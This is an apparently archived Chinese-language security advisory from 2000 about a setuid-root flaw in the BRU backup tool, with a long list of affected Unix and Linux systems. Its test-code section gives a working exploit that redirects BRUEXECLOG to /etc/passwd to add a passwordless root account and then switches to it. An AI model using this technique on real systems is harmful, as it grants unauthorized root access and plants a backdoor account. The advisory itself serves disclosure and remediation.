|
|
BRU BRUEXECLOG环境参数漏洞
发布时间：2000-04-17
更新时间：2000-04-17
严重程度：高
威胁程度：本地管理员权限
错误类型：环境错误
利用方式：服务器模式
受影响系统Enhanced Software Technologies BRU 16.0
- Sun Solaris 8.0_x86
- Sun Solaris 8.0
- Sun Solaris 7.0_x86
- Sun Solaris 7.0
- Sun Solaris 2.6
- Sun Solaris 2.5.1
- Sun Solaris 2.5
- SCO Unixware 7.1.1
- SCO Unixware 7.1
- SCO Unixware 7.0.1
- SCO Unixware 7.0
- SCO Open Server 5.0.5
- SCO Open Server 5.0.4
- SCO Open Server 5.0.3
- SCO Open Server 5.0.2
- SCO Open Server 5.0.1
- SCO Open Server 5.0
- RedHat Linux 6.2 sparc
- RedHat Linux 6.2 i386
- RedHat Linux 6.2 alpha
- RedHat Linux 6.1 sparc
- RedHat Linux 6.1 i386
- RedHat Linux 6.1 alpha
- RedHat Linux 6.0 sparc
- RedHat Linux 6.0 i386
- RedHat Linux 6.0 alpha
- MandrakeSoft Linux Mandrake 7.0
- MandrakeSoft Linux Mandrake 6.1
- MandrakeSoft Linux Mandrake 6.0
- Halloween Linux 4.0
- HP HP-UX 10.9
- HP HP-UX 10.8
- HP HP-UX 10.34
- HP HP-UX 10.30
- HP HP-UX 10.24
- HP HP-UX 10.20
- HP HP-UX 10.16
- HP HP-UX 10.10
- HP HP-UX 10.1
- HP HP-UX 10.0.1
- HP HP-UX 10.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- FreeBSD FreeBSD 3.4
- FreeBSD FreeBSD 3.3
- FreeBSD FreeBSD 3.2
- FreeBSD FreeBSD 3.1
- FreeBSD FreeBSD 3.0
- Debian Linux 2.3
- Debian Linux 2.2
- Debian Linux 2.1
- Cobalt RaQ 3.0
- Cobalt RaQ 2.0
- Cobalt RaQ 1.1
- Cobalt Qube 2.0
- Cobalt Qube 1.0
- Caldera OpenLinux 2.4
- Caldera OpenLinux 2.3
- Caldera OpenLinux 2.2
Enhanced Software Technologies BRU 15.1
- Sun Solaris 8.0_x86
- Sun Solaris 8.0
- Sun Solaris 7.0_x86
- Sun Solaris 7.0
- Sun Solaris 2.6
- Sun Solaris 2.5.1
- Sun Solaris 2.5
- SCO Unixware 7.1.1
- SCO Unixware 7.1
- SCO Unixware 7.0.1
- SCO Unixware 7.0
- SCO Open Server 5.0.5
- SCO Open Server 5.0.4
- SCO Open Server 5.0.3
- SCO Open Server 5.0.2
- SCO Open Server 5.0.1
- SCO Open Server 5.0
- RedHat Linux 6.2 sparc
- RedHat Linux 6.2 i386
- RedHat Linux 6.2 alpha
- RedHat Linux 6.1 sparc
- RedHat Linux 6.1 i386
- RedHat Linux 6.1 alpha
- RedHat Linux 6.0 sparc
- RedHat Linux 6.0 i386
- RedHat Linux 6.0 alpha
- MandrakeSoft Linux Mandrake 7.0
- MandrakeSoft Linux Mandrake 6.1
- MandrakeSoft Linux Mandrake 6.0
- Halloween Linux 4.0
- HP HP-UX 10.9
- HP HP-UX 10.8
- HP HP-UX 10.34
- HP HP-UX 10.30
- HP HP-UX 10.24
- HP HP-UX 10.20
- HP HP-UX 10.16
- HP HP-UX 10.10
- HP HP-UX 10.1
- HP HP-UX 10.0.1
- HP HP-UX 10.0
- FreeBSD FreeBSD 5.0
- FreeBSD FreeBSD 4.0
- FreeBSD FreeBSD 3.4
- FreeBSD FreeBSD 3.3
- FreeBSD FreeBSD 3.2
- FreeBSD FreeBSD 3.1
- FreeBSD FreeBSD 3.0
- Debian Linux 2.3
- Debian Linux 2.2
- Debian Linux 2.1
- Cobalt RaQ 3.0
- Cobalt RaQ 2.0
- Cobalt RaQ 1.1
- Cobalt Qube 2.0
- Cobalt Qube 1.0
- Caldera OpenLinux 2.4
- Caldera OpenLinux 2.3
- Caldera OpenLinux 2.2 详细描述
BRU是一个备份和恢复工具，通过设置BUREXECLOG环境参数的值，可以是恶意用户在文件系统上改变和创建文件。由于BRU安装为SETUID，所以这些文件属主是ROOT，就导致本地用户获得了 ROOT的权限。
测试代码
$ BRUEXECLOG=/etc/passwd
$ export BRUEXECLOG
$ bru -V '
> comsec::0:0::/:/bin/sh
> '
$ su comsec<br>
解决方案
把BRU设置为只有ROOT可以使用
相关信息
|
